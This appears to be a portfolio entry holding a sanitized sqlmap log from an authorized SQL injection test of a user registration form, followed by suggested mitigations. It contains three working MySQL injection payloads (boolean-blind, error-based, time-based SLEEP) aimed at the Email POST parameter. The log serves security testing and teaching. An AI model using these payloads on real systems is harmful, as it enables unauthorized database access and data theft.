SQL Injection Log LOG-2025-004

Sanitized log from ethical SQL injection testing in a controlled environment using sqlmap.

sqlmap identified the following injection point(s) with a total of 272 HTTP(s) requests:
---
Parameter: Email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: Username=ddd&Email=dd@gmail.com' AND 2396=2396#&Password=dd&CPassword=dd&user_signup_submit=

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: Username=ddd&Email=dd@gmail.com' AND (SELECT 6667 FROM(SELECT COUNT(*),CONCAT(0x717a6a7871,(SELECT (ELT(6667=6667,1))),0x7176766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Slta&Password=dd&CPassword=dd&user_signup_submit=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: Username=ddd&Email=dd@gmail.com' AND (SELECT 5386 FROM (SELECT(SLEEP(5)))qdfU)-- bygY&Password=dd&CPassword=dd&user_signup_submit=
---
web application technology: PHP 8.1.17, Apache 2.4.56
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
---
Test Environment: User Registration System
Test Date: 2025-03-10
Mitigations Suggested:
- Use parameterized queries and prepared statements
- Implement input validation and sanitization
- Suppress detailed error messages
- Use ORM frameworks for database interactions
            
Back to Logs Back to Portfolio